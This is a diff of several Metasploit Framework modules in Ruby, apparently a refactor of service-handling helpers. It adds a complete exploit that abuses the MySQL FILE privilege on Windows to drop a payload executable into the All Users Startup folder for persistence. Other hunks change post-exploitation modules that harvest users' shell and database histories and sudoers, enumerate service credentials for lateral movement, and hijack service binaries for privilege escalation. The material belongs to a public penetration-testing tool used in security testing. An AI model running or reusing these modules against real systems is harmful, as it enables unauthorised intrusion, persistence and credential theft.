register_files_for_cleanup(exe_path)
|
||||||
rescue Rex::Post::Meterpreter::RequestError => e
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
# Can't write the file, can't go on
|
# Can't write the file, can't go on
|
||||||
print_error(e.message)
|
fail_with(Failure::Unknown, e.message)
|
||||||
return
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
#
|
#
|
||||||
# Run the service, let the Windows API do the rest
|
# Run the service, let the Windows API do the rest
|
||||||
#
|
#
|
||||||
print_status("Launching service #{svr_name}...")
|
print_status("Launching service #{svr_name}...")
|
||||||
tried = false
|
service_restart(svr_name)
|
||||||
begin
|
|
||||||
status = service_start(svr_name)
|
|
||||||
raise RuntimeError, status if status != 0
|
|
||||||
rescue RuntimeError => s
|
|
||||||
if tried
|
|
||||||
print_error("Unable to start #{svr_name}")
|
|
||||||
return
|
|
||||||
else
|
|
||||||
tried = true
|
|
||||||
end
|
|
||||||
|
|
||||||
case s.message.to_i
|
|
||||||
when 1
|
|
||||||
# Service already started, restart again
|
|
||||||
service_stop(svr_name)
|
|
||||||
retry
|
|
||||||
when 2
|
|
||||||
# Service disabled, enable it
|
|
||||||
service_change_startup(svr_name, 'manual')
|
|
||||||
retry
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
#
|
|
||||||
# "Nothing ever happened, we swears it on the Precious!"
|
|
||||||
#
|
|
||||||
print_status("Deleting #{exe_path}")
|
|
||||||
begin
|
|
||||||
cmd_exec("cmd /c del \"#{exe_path}\"")
|
|
||||||
rescue ::Exception => e
|
|
||||||
print_error("Unable to remove #{exe_path}: #{e.message}")
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -13,7 +13,6 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
include Msf::Post::File
|
include Msf::Post::File
|
||||||
include Msf::Post::Windows::Priv
|
include Msf::Post::Windows::Priv
|
||||||
include Msf::Post::Windows::ShadowCopy
|
include Msf::Post::Windows::ShadowCopy
|
||||||
include Msf::Post::Windows::Services
|
|
||||||
include Msf::Post::Windows::Registry
|
include Msf::Post::Windows::Registry
|
||||||
include Msf::Exploit::EXE
|
include Msf::Exploit::EXE
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,143 @@
|
||||||
|
##
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::MYSQL
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Oracle MySQL for Microsoft Windows FILE Privilege Abuse',
|
||||||
|
'Description' => %q{
|
||||||
|
This module takes advantage of a file privilege misconfiguration problem
|
||||||
|
specifically against Windows MySQL servers. This module abuses the FILE
|
||||||
|
privilege to write a payload to Microsoft's All Users Start Up directory
|
||||||
|
which will execute every time a user logs in. The default All Users Start
|
||||||
|
Up directory used by the module is Windows 7 friendly.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'sinn3r',
|
||||||
|
'Sean Verity <veritysr1980[at]gmail.com'
|
||||||
|
],
|
||||||
|
'DefaultOptions' =>
|
||||||
|
{
|
||||||
|
'DisablePayloadHandler' => 'true'
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2012-5613'], #DISPUTED
|
||||||
|
['OSVDB', '88118'],
|
||||||
|
['EDB', '23083'],
|
||||||
|
['URL', 'http://seclists.org/fulldisclosure/2012/Dec/13']
|
||||||
|
],
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'MySQL on Windows', { } ]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Dec 01 2012'
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('USERNAME', [ true, 'The username to authenticate as']),
|
||||||
|
OptString.new('PASSWORD', [ true, 'The password to authenticate with']),
|
||||||
|
OptString.new('STARTUP_FOLDER', [ true, 'The All Users Start Up folder', '/programdata/microsoft/windows/start menu/programs/startup/'])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||||
|
return Exploit::CheckCode::Safe unless m
|
||||||
|
|
||||||
|
return Exploit::CheckCode::Appears if is_windows?
|
||||||
|
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def peer
|
||||||
|
"#{rhost}:#{rport}"
|
||||||
|
end
|
||||||
|
|
||||||
|
def query(q)
|
||||||
|
rows = []
|
||||||
|
|
||||||
|
begin
|
||||||
|
res = mysql_query(q)
|
||||||
|
return rows unless res
|
||||||
|
res.each_hash do |row|
|
||||||
|
rows << row
|
||||||
|
end
|
||||||
|
rescue RbMysql::ParseError
|
||||||
|
return rows
|
||||||
|
end
|
||||||
|
|
||||||
|
rows
|
||||||
|
end
|
||||||
|
|
||||||
|
def is_windows?
|
||||||
|
r = query("SELECT @@version_compile_os;")
|
||||||
|
r[0]['@@version_compile_os'] =~ /^Win/ ? true : false
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_drive_letter
|
||||||
|
r = query("SELECT @@tmpdir;")
|
||||||
|
drive = r[0]['@@tmpdir'].scan(/^(\w):/).flatten[0] || ''
|
||||||
|
|
||||||
|
drive
|
||||||
|
end
|
||||||
|
|
||||||
|
def upload_file(bin, dest)
|
||||||
|
p = bin.unpack("H*")[0]
|
||||||
|
query("SELECT 0x#{p} into DUMPFILE '#{dest}'")
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
unless datastore['STARTUP_FOLDER'].start_with?('/') && datastore['STARTUP_FOLDER'].end_with?('/')
|
||||||
|
fail_with(Failure::BadConfig, "STARTUP_FOLDER should start and end with '/' Ex: /programdata/microsoft/windows/start menu/programs/startup/")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("#{peer} - Attempting to login as '#{datastore['USERNAME']}:#{datastore['PASSWORD']}'")
|
||||||
|
begin
|
||||||
|
m = mysql_login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||||
|
rescue RbMysql::AccessDeniedError
|
||||||
|
fail_with(Failure::NoAccess, "#{peer} - Access denied")
|
||||||
|
end
|
||||||
|
|
||||||
|
fail_with(Failure::NoAccess, "#{peer} - Unable to Login") unless m
|
||||||
|
|
||||||
|
unless is_windows?
|
||||||
|
fail_with(Failure::NoTarget, "#{peer} - Remote host isn't Windows")
|
||||||
|
end
|
||||||
|
|
||||||
|
begin
|
||||||
|
drive = get_drive_letter
|
||||||
|
rescue RbMysql::ParseError
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name")
|
||||||
|
end
|
||||||
|
|
||||||
|
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine drive name") unless drive
|
||||||
|
|
||||||
|
exe_name = Rex::Text::rand_text_alpha(5) + ".exe"
|
||||||
|
dest = "#{drive}:#{datastore['STARTUP_FOLDER']}#{exe_name}"
|
||||||
|
exe = generate_payload_exe
|
||||||
|
|
||||||
|
print_status("#{peer} - Uploading to '#{dest}'")
|
||||||
|
begin
|
||||||
|
upload_file(exe, dest)
|
||||||
|
rescue RbMysql::AccessDeniedError
|
||||||
|
fail_with(Failure::NotVulnerable, "#{peer} - No permission to write. I blame kc :-)")
|
||||||
|
end
|
||||||
|
register_file_for_cleanup("#{dest}")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -11,50 +11,57 @@ class Metasploit3 < Msf::Post
|
||||||
include Msf::Post::File
|
include Msf::Post::File
|
||||||
include Msf::Post::Linux::System
|
include Msf::Post::Linux::System
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
def initialize(info={})
|
super(update_info(info,
|
||||||
super( update_info( info,
|
'Name' => 'Linux Gather User History',
|
||||||
'Name' => 'Linux Gather User History',
|
'Description' => %q{
|
||||||
'Description' => %q{
|
This module gathers the following user-specific information:
|
||||||
This module gathers user specific information.
|
shell history, MySQL history, PostgreSQL history, MongoDB history,
|
||||||
User list, bash history, mysql history, vim history,
|
Vim history, lastlog, and sudoers.
|
||||||
lastlog and sudoers.
|
},
|
||||||
},
|
'License' => MSF_LICENSE,
|
||||||
'License' => MSF_LICENSE,
|
'Author' =>
|
||||||
'Author' =>
|
[
|
||||||
[
|
# based largely on get_bash_history function by Stephen Haywood
|
||||||
# based largely on get_bash_history function by Stephen Haywood
|
'ohdae <bindshell[at]live.com>'
|
||||||
'ohdae <bindshell[at]live.com>'
|
],
|
||||||
],
|
'Platform' => ['linux'],
|
||||||
'Platform' => ['linux'],
|
'SessionTypes' => ['shell', 'meterpreter']
|
||||||
'SessionTypes' => ['shell', 'meterpreter']
|
))
|
||||||
))
|
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
distro = get_sysinfo
|
distro = get_sysinfo
|
||||||
|
|
||||||
print_good("Info:")
|
print_good('Info:')
|
||||||
print_good("\t#{distro[:version]}")
|
print_good("\t#{distro[:version]}")
|
||||||
print_good("\t#{distro[:kernel]}")
|
print_good("\t#{distro[:kernel]}")
|
||||||
|
|
||||||
users = execute("/bin/cat /etc/passwd | cut -d : -f 1")
|
user = execute('/usr/bin/whoami')
|
||||||
user = execute("/usr/bin/whoami")
|
users = execute('/bin/cat /etc/passwd | cut -d : -f 1').chomp.split
|
||||||
|
users = [user] if user != 'root' || users.blank?
|
||||||
|
|
||||||
mount = execute("/bin/mount -l")
|
vprint_status("Retrieving history for #{users.length} users")
|
||||||
get_bash_history(users, user)
|
shells = %w{ash bash csh ksh sh tcsh zsh}
|
||||||
get_sql_history(users, user)
|
users.each do |u|
|
||||||
get_vim_history(users, user)
|
home = get_home_dir(u)
|
||||||
last = execute("/usr/bin/last && /usr/bin/lastlog")
|
shells.each do |shell|
|
||||||
sudoers = cat_file("/etc/sudoers")
|
get_shell_history(u, home, shell)
|
||||||
|
end
|
||||||
|
get_mysql_history(u, home)
|
||||||
|
get_psql_history(u, home)
|
||||||
|
get_mongodb_history(u, home)
|
||||||
|
get_vim_history(u, home)
|
||||||
|
end
|
||||||
|
|
||||||
save("Last logs", last) unless last.nil?
|
last = execute('/usr/bin/last && /usr/bin/lastlog')
|
||||||
save("Sudoers", sudoers) unless sudoers.nil? || sudoers =~ /Permission denied/
|
sudoers = cat_file('/etc/sudoers')
|
||||||
|
save('Last logs', last) unless last.blank?
|
||||||
|
save('Sudoers', sudoers) unless sudoers.blank? || sudoers =~ /Permission denied/
|
||||||
end
|
end
|
||||||
|
|
||||||
def save(msg, data, ctype="text/plain")
|
def save(msg, data, ctype = 'text/plain')
|
||||||
ltype = "linux.enum.users"
|
ltype = 'linux.enum.users'
|
||||||
loot = store_loot(ltype, ctype, session, data, nil, msg)
|
loot = store_loot(ltype, ctype, session, data, nil, msg)
|
||||||
print_status("#{msg} stored in #{loot.to_s}")
|
print_status("#{msg} stored in #{loot.to_s}")
|
||||||
end
|
end
|
||||||
|
@ -62,91 +69,66 @@ class Metasploit3 < Msf::Post
|
||||||
def get_host
|
def get_host
|
||||||
case session.type
|
case session.type
|
||||||
when /meterpreter/
|
when /meterpreter/
|
||||||
host = sysinfo["Computer"]
|
host = sysinfo['Computer']
|
||||||
when /shell/
|
when /shell/
|
||||||
host = session.shell_command_token("hostname").chomp
|
host = session.shell_command_token('hostname').chomp
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Running module against #{host}")
|
print_status("Running module against #{host}")
|
||||||
|
host
|
||||||
return host
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def execute(cmd)
|
def execute(cmd)
|
||||||
vprint_status("Execute: #{cmd}")
|
vprint_status("Execute: #{cmd}")
|
||||||
output = cmd_exec(cmd)
|
output = cmd_exec(cmd)
|
||||||
return output
|
output
|
||||||
end
|
end
|
||||||
|
|
||||||
def cat_file(filename)
|
def cat_file(filename)
|
||||||
vprint_status("Download: #{filename}")
|
vprint_status("Download: #{filename}")
|
||||||
output = read_file(filename)
|
output = read_file(filename)
|
||||||
return output
|
output
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_bash_history(users, user)
|
def get_home_dir(user)
|
||||||
if user == "root" and users != nil
|
home = execute("echo ~#{user}")
|
||||||
users = users.chomp.split()
|
if home.empty?
|
||||||
users.each do |u|
|
if user == 'root'
|
||||||
if u == "root"
|
home = '/root'
|
||||||
vprint_status("Extracting history for #{u}")
|
else
|
||||||
hist = cat_file("/root/.bash_history")
|
home = "/home/#{user}"
|
||||||
else
|
|
||||||
vprint_status("Extracting history for #{u}")
|
|
||||||
hist = cat_file("/home/#{u}/.bash_history")
|
|
||||||
end
|
|
||||||
|
|
||||||
save("History for #{u}", hist) unless hist.nil? || hist =~ /No such file or directory/
|
|
||||||
end
|
end
|
||||||
else
|
|
||||||
vprint_status("Extracting history for #{user}")
|
|
||||||
hist = cat_file("/home/#{user}/.bash_history")
|
|
||||||
vprint_status(hist)
|
|
||||||
save("History for #{user}", hist) unless hist.nil? || hist =~ /No such file or directory/
|
|
||||||
end
|
end
|
||||||
|
home
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_sql_history(users, user)
|
def get_shell_history(user, home, shell)
|
||||||
if user == "root" and users != nil
|
vprint_status("Extracting #{shell} history for #{user}")
|
||||||
users = users.chomp.split()
|
hist = cat_file("#{home}/.#{shell}_history")
|
||||||
users.each do |u|
|
save("#{shell} history for #{user}", hist) unless hist.blank? || hist =~ /No such file or directory/
|
||||||
if u == "root"
|
|
||||||
vprint_status("Extracting SQL history for #{u}")
|
|
||||||
sql_hist = cat_file("/root/.mysql_history")
|
|
||||||
else
|
|
||||||
vprint_status("Extracting SQL history for #{u}")
|
|
||||||
sql_hist = cat_file("/home/#{u}/.mysql_history")
|
|
||||||
end
|
|
||||||
|
|
||||||
save("History for #{u}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/
|
|
||||||
end
|
|
||||||
else
|
|
||||||
vprint_status("Extracting SQL history for #{user}")
|
|
||||||
sql_hist = cat_file("/home/#{user}/.mysql_history")
|
|
||||||
vprint_status(sql_hist) if sql_hist
|
|
||||||
save("SQL History for #{user}", sql_hist) unless sql_hist.nil? || sql_hist =~ /No such file or directory/
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
def get_vim_history(users, user)
|
def get_mysql_history(user, home)
|
||||||
if user == "root" and users != nil
|
vprint_status("Extracting MySQL history for #{user}")
|
||||||
users = users.chomp.split
|
sql_hist = cat_file("#{home}/.mysql_history")
|
||||||
users.each do |u|
|
save("MySQL history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
|
||||||
if u == "root"
|
|
||||||
vprint_status("Extracting VIM history for #{u}")
|
|
||||||
vim_hist = cat_file("/root/.viminfo")
|
|
||||||
else
|
|
||||||
vprint_status("Extracting VIM history for #{u}")
|
|
||||||
vim_hist = cat_file("/home/#{u}/.viminfo")
|
|
||||||
end
|
|
||||||
|
|
||||||
save("VIM History for #{u}", vim_hist) unless vim_hist.nil? || vim_hist =~ /No such file or directory/
|
|
||||||
end
|
|
||||||
else
|
|
||||||
vprint_status("Extracting history for #{user}")
|
|
||||||
vim_hist = cat_file("/home/#{user}/.viminfo")
|
|
||||||
vprint_status(vim_hist)
|
|
||||||
save("VIM History for #{user}", vim_hist) unless vim_hist.nil? || vim_hist =~ /No such file or directory/
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def get_psql_history(user, home)
|
||||||
|
vprint_status("Extracting PostgreSQL history for #{user}")
|
||||||
|
sql_hist = cat_file("#{home}/.psql_history")
|
||||||
|
save("PostgreSQL history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_mongodb_history(user, home)
|
||||||
|
vprint_status("Extracting MongoDB history for #{user}")
|
||||||
|
sql_hist = cat_file("#{home}/.dbshell")
|
||||||
|
save("MongoDB history for #{user}", sql_hist) unless sql_hist.blank? || sql_hist =~ /No such file or directory/
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_vim_history(user, home)
|
||||||
|
vprint_status("Extracting Vim history for #{user}")
|
||||||
|
vim_hist = cat_file("#{home}/.viminfo")
|
||||||
|
save("Vim history for #{user}", vim_hist) unless vim_hist.blank? || vim_hist =~ /No such file or directory/
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -23,7 +23,7 @@ class Metasploit3 < Msf::Post
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
|
|
||||||
OptString.new('DOMAIN', [true, 'Domain to do a fordward lookup bruteforce against.']),
|
OptString.new('DOMAIN', [true, 'Domain to do a forward lookup bruteforce against.']),
|
||||||
OptPath.new('NAMELIST',[true, "List of hostnames or subdomains to use.",
|
OptPath.new('NAMELIST',[true, "List of hostnames or subdomains to use.",
|
||||||
::File.join(Msf::Config.data_directory, "wordlists", "namelist.txt")])
|
::File.join(Msf::Config.data_directory, "wordlists", "namelist.txt")])
|
||||||
|
|
||||||
|
|
|
@ -8,6 +8,10 @@ require 'rex'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Post
|
class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
|
require 'msf/core/module/deprecated'
|
||||||
|
include Msf::Module::Deprecated
|
||||||
|
deprecated Date.new(2015, 1, 8), 'exploit/windows/local/service_permissions'
|
||||||
|
|
||||||
include Msf::Post::Windows::Services
|
include Msf::Post::Windows::Services
|
||||||
|
|
||||||
def initialize(info={})
|
def initialize(info={})
|
||||||
|
@ -39,7 +43,7 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
def run
|
def run
|
||||||
paths = []
|
paths = []
|
||||||
services = []
|
candidate_services = []
|
||||||
vuln = ""
|
vuln = ""
|
||||||
@temp = session.sys.config.getenv('TEMP')
|
@temp = session.sys.config.getenv('TEMP')
|
||||||
|
|
||||||
|
@ -50,16 +54,16 @@ class Metasploit3 < Msf::Post
|
||||||
print_status("Checking for vulnerable .NET Framework Optimization service")
|
print_status("Checking for vulnerable .NET Framework Optimization service")
|
||||||
print_status("This may take a few minutes.")
|
print_status("This may take a few minutes.")
|
||||||
# enumerate the installed .NET versions
|
# enumerate the installed .NET versions
|
||||||
service_list.each do |service|
|
each_service do |service|
|
||||||
if service =~ /clr_optimization_.*/
|
if service[:name] =~ /clr_optimization_.*/
|
||||||
info = service_info(service)
|
info = service_info(service[:name])
|
||||||
paths << info['Command']
|
paths << info[:path]
|
||||||
services << service
|
candidate_services << service[:name]
|
||||||
begin
|
begin
|
||||||
service_stop(service) # temporarily stop the service
|
service_stop(service[:name]) # temporarily stop the service
|
||||||
print_status("Found #{info['Name']} installed")
|
print_status("Found #{service[:name]} installed")
|
||||||
rescue
|
rescue
|
||||||
print_error("We do not appear to have access to stop #{info['Name']}")
|
print_error("We do not appear to have access to stop #{service[:name]}")
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
next
|
next
|
||||||
|
@ -80,17 +84,13 @@ class Metasploit3 < Msf::Post
|
||||||
payload = setup_exploit
|
payload = setup_exploit
|
||||||
end
|
end
|
||||||
|
|
||||||
services.each do |service|
|
candidate_services.each do |service|
|
||||||
session.railgun.kernel32.CopyFileA(payload, vuln, false)
|
session.railgun.kernel32.CopyFileA(payload, vuln, false)
|
||||||
mng = session.railgun.advapi32.OpenSCManagerA(nil,nil,1)
|
|
||||||
if mng['return'].nil?
|
|
||||||
print_error("Cannot open service manager, not enough privileges")
|
|
||||||
return
|
|
||||||
end
|
|
||||||
# restart the service
|
|
||||||
status = service_start(service)
|
|
||||||
|
|
||||||
if status == 0
|
# restart the service
|
||||||
|
status = service_restart(service)
|
||||||
|
|
||||||
|
if status
|
||||||
print_status("Restarted #{service}")
|
print_status("Restarted #{service}")
|
||||||
else
|
else
|
||||||
print_error("Failed to restart #{service}")
|
print_error("Failed to restart #{service}")
|
||||||
|
|
|
@ -48,7 +48,6 @@ class Metasploit3 < Msf::Post
|
||||||
addr = [mem].pack("V")
|
addr = [mem].pack("V")
|
||||||
len = [data.length].pack("V")
|
len = [data.length].pack("V")
|
||||||
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
|
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
|
||||||
#print_status("#{ret.inspect}")
|
|
||||||
len, addr = ret["pDataOut"].unpack("V2")
|
len, addr = ret["pDataOut"].unpack("V2")
|
||||||
else
|
else
|
||||||
addr = [mem].pack("Q")
|
addr = [mem].pack("Q")
|
||||||
|
|
|
@ -15,12 +15,14 @@ class Metasploit3 < Msf::Post
|
||||||
super(update_info(info,
|
super(update_info(info,
|
||||||
'Name' => "Windows Gather Service Info Enumeration",
|
'Name' => "Windows Gather Service Info Enumeration",
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
This module will query the system for services and display name and configuration
|
This module will query the system for services and display name and
|
||||||
info for each returned service. It allows you to optionally search the credentials, path,
|
configuration info for each returned service. It allows you to
|
||||||
or start type for a string and only return the results that match. These query operations
|
optionally search the credentials, path, or start type for a string
|
||||||
are cumulative and if no query strings are specified, it just returns all services.
|
and only return the results that match. These query operations are
|
||||||
NOTE: If the script hangs, windows firewall is most likely on and you did not
|
cumulative and if no query strings are specified, it just returns all
|
||||||
migrate to a safe process (explorer.exe for example).
|
services. NOTE: If the script hangs, windows firewall is most likely
|
||||||
|
on and you did not migrate to a safe process (explorer.exe for
|
||||||
|
example).
|
||||||
},
|
},
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Platform' => ['win'],
|
'Platform' => ['win'],
|
||||||
|
@ -31,97 +33,100 @@ class Metasploit3 < Msf::Post
|
||||||
[
|
[
|
||||||
OptString.new('CRED', [ false, 'String to search credentials for' ]),
|
OptString.new('CRED', [ false, 'String to search credentials for' ]),
|
||||||
OptString.new('PATH', [ false, 'String to search path for' ]),
|
OptString.new('PATH', [ false, 'String to search path for' ]),
|
||||||
OptEnum.new('TYPE', [false, 'Service startup Option', 'All', ['All', 'Auto', 'Manual', 'Disabled' ]])
|
OptEnum.new('TYPE', [true, 'Service startup Option', 'All', ['All', 'Auto', 'Manual', 'Disabled' ]])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
def run
|
def run
|
||||||
|
|
||||||
# set vars
|
# set vars
|
||||||
lootString = ""
|
|
||||||
credentialCount = {}
|
credentialCount = {}
|
||||||
qcred = datastore["CRED"] || nil
|
qcred = datastore["CRED"] || nil
|
||||||
qpath = datastore["PATH"] || nil
|
qpath = datastore["PATH"] || nil
|
||||||
|
|
||||||
if datastore["TYPE"] == "All"
|
if datastore["TYPE"] == "All"
|
||||||
qtype = nil
|
qtype = nil
|
||||||
else
|
else
|
||||||
qtype = datastore["TYPE"]
|
qtype = datastore["TYPE"].downcase
|
||||||
end
|
end
|
||||||
|
|
||||||
if qcred
|
if qcred
|
||||||
|
qcred = qcred.downcase
|
||||||
print_status("Credential Filter: #{qcred}")
|
print_status("Credential Filter: #{qcred}")
|
||||||
end
|
end
|
||||||
|
|
||||||
if qpath
|
if qpath
|
||||||
|
qpath = qpath.downcase
|
||||||
print_status("Executable Path Filter: #{qpath}")
|
print_status("Executable Path Filter: #{qpath}")
|
||||||
end
|
end
|
||||||
|
|
||||||
if qtype
|
if qtype
|
||||||
print_status("Start Type Filter: #{qtype}")
|
print_status("Start Type Filter: #{qtype}")
|
||||||
end
|
end
|
||||||
|
|
||||||
if datastore['VERBOSE']
|
results_table = Rex::Ui::Text::Table.new(
|
||||||
print_status("Listing Service Info for matching services:")
|
'Header' => 'Services',
|
||||||
else
|
'Indent' => 1,
|
||||||
print_status("Detailed output is only printed when VERBOSE is set to True. Running this module can take some time.\n")
|
'SortIndex' => 0,
|
||||||
end
|
'Columns' => ['Name', 'Credentials', 'Command', 'Startup']
|
||||||
|
)
|
||||||
|
|
||||||
service_list.each do |sname|
|
print_status("Listing Service Info for matching services, please wait...")
|
||||||
|
service_list.each do |srv|
|
||||||
srv_conf = {}
|
srv_conf = {}
|
||||||
isgood = true
|
|
||||||
# make sure we got a service name
|
# make sure we got a service name
|
||||||
if sname
|
if srv[:name]
|
||||||
begin
|
begin
|
||||||
srv_conf = service_info(sname)
|
srv_conf = service_info(srv[:name])
|
||||||
# filter service based on filters passed, the are cumulative
|
if srv_conf[:startname]
|
||||||
if qcred and ! srv_conf['Credentials'].downcase.include? qcred.downcase
|
# filter service based on filters passed, the are cumulative
|
||||||
isgood = false
|
if qcred && !srv_conf[:startname].downcase.include?(qcred)
|
||||||
end
|
next
|
||||||
if qpath and ! srv_conf['Command'].downcase.include? qpath.downcase
|
|
||||||
isgood = false
|
|
||||||
end
|
|
||||||
# There may not be a 'Startup', need to check nil
|
|
||||||
if qtype and ! (srv_conf['Startup'] || '').downcase.include? qtype.downcase
|
|
||||||
isgood = false
|
|
||||||
end
|
|
||||||
# count the occurance of specific credentials services are running as
|
|
||||||
serviceCred = srv_conf['Credentials'].upcase
|
|
||||||
unless serviceCred.empty?
|
|
||||||
if credentialCount.has_key?(serviceCred)
|
|
||||||
credentialCount[serviceCred] += 1
|
|
||||||
else
|
|
||||||
credentialCount[serviceCred] = 1
|
|
||||||
# let the user know a new service account has been detected for possible lateral
|
|
||||||
# movement opportunities
|
|
||||||
print_good("New service credential detected: #{sname} is running as '#{srv_conf['Credentials']}'")
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
if qpath && !srv_conf[:path].downcase.include?(qpath)
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
# There may not be a 'Startup', need to check nil
|
||||||
|
if qtype && !(START_TYPE[srv_conf[:starttype]] || '').downcase.include?(qtype)
|
||||||
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
# count the occurance of specific credentials services are running as
|
||||||
|
serviceCred = srv_conf[:startname].upcase
|
||||||
|
unless serviceCred.empty?
|
||||||
|
if credentialCount.has_key?(serviceCred)
|
||||||
|
credentialCount[serviceCred] += 1
|
||||||
|
else
|
||||||
|
credentialCount[serviceCred] = 1
|
||||||
|
# let the user know a new service account has been detected for possible lateral
|
||||||
|
# movement opportunities
|
||||||
|
print_good("New service credential detected: #{srv[:name]} is running as '#{srv_conf[:startname]}'")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
results_table << [srv[:name],
|
||||||
|
srv_conf[:startname],
|
||||||
|
START_TYPE[srv_conf[:starttype]],
|
||||||
|
srv_conf[:path]]
|
||||||
end
|
end
|
||||||
|
|
||||||
# if we are still good return the info
|
rescue RuntimeError => e
|
||||||
if isgood
|
print_error("An error occurred enumerating service: #{srv[:name]}: #{e}")
|
||||||
msgString = "\tName: #{sname}"
|
|
||||||
msgString << "\n\t\tStartup: #{srv_conf['Startup']}"
|
|
||||||
#remove invalid char at the end
|
|
||||||
commandString = srv_conf['Command']
|
|
||||||
commandString.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"")
|
|
||||||
msgString << "\n\t\t#{commandString}"
|
|
||||||
msgString << "\n\t\tCredentials: #{srv_conf['Credentials']}\n"
|
|
||||||
vprint_good(msgString)
|
|
||||||
lootString << msgString
|
|
||||||
end
|
|
||||||
rescue ::Exception => e
|
|
||||||
# July 3rd 2014 wchen-r7: Not very sure what exceptions this method is trying to rescue,
|
|
||||||
# probably the typical shut-everything-up coding habit. We'll have to fix this later,
|
|
||||||
# but for now let's at least print the error for debugging purposes
|
|
||||||
print_error("An error occured enumerating service: #{sname}")
|
|
||||||
print_error(e.to_s)
|
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
print_error("Problem enumerating services (no service name found)")
|
print_error("Problem enumerating service - no service name found")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
# store loot on completion of collection
|
|
||||||
p = store_loot("windows.services", "text/plain", session, lootString, "windows_services.txt", "Windows Services")
|
print_line results_table.to_s
|
||||||
print_good("Loot file stored in: #{p.to_s}")
|
|
||||||
|
# store loot on completion of collection
|
||||||
|
p = store_loot("windows.services", "text/plain", session, results_table.to_s, "windows_services.txt", "Windows Services")
|
||||||
|
print_good("Loot file stored in: #{p.to_s}")
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
|
@ -56,9 +56,9 @@ class Metasploit3 < Msf::Post
|
||||||
|
|
||||||
def run
|
def run
|
||||||
driver = datastore['DRIVER_PATH']
|
driver = datastore['DRIVER_PATH']
|
||||||
start = datastore['START_TYPE']
|
start = START_TYPE[datastore['START_TYPE']]
|
||||||
error = datastore['ERROR_TYPE']
|
error = ERROR_TYPE[datastore['ERROR_TYPE']]
|
||||||
service = datastore['SERVICE_TYPE']
|
service = SERVICE_TYPE[datastore['SERVICE_TYPE']]
|
||||||
|
|
||||||
name = datastore['DRIVER_NAME'].blank? ? Rex::Text.rand_text_alpha((rand(8)+6)) : datastore['DRIVER_NAME']
|
name = datastore['DRIVER_NAME'].blank? ? Rex::Text.rand_text_alpha((rand(8)+6)) : datastore['DRIVER_NAME']
|
||||||
|
|
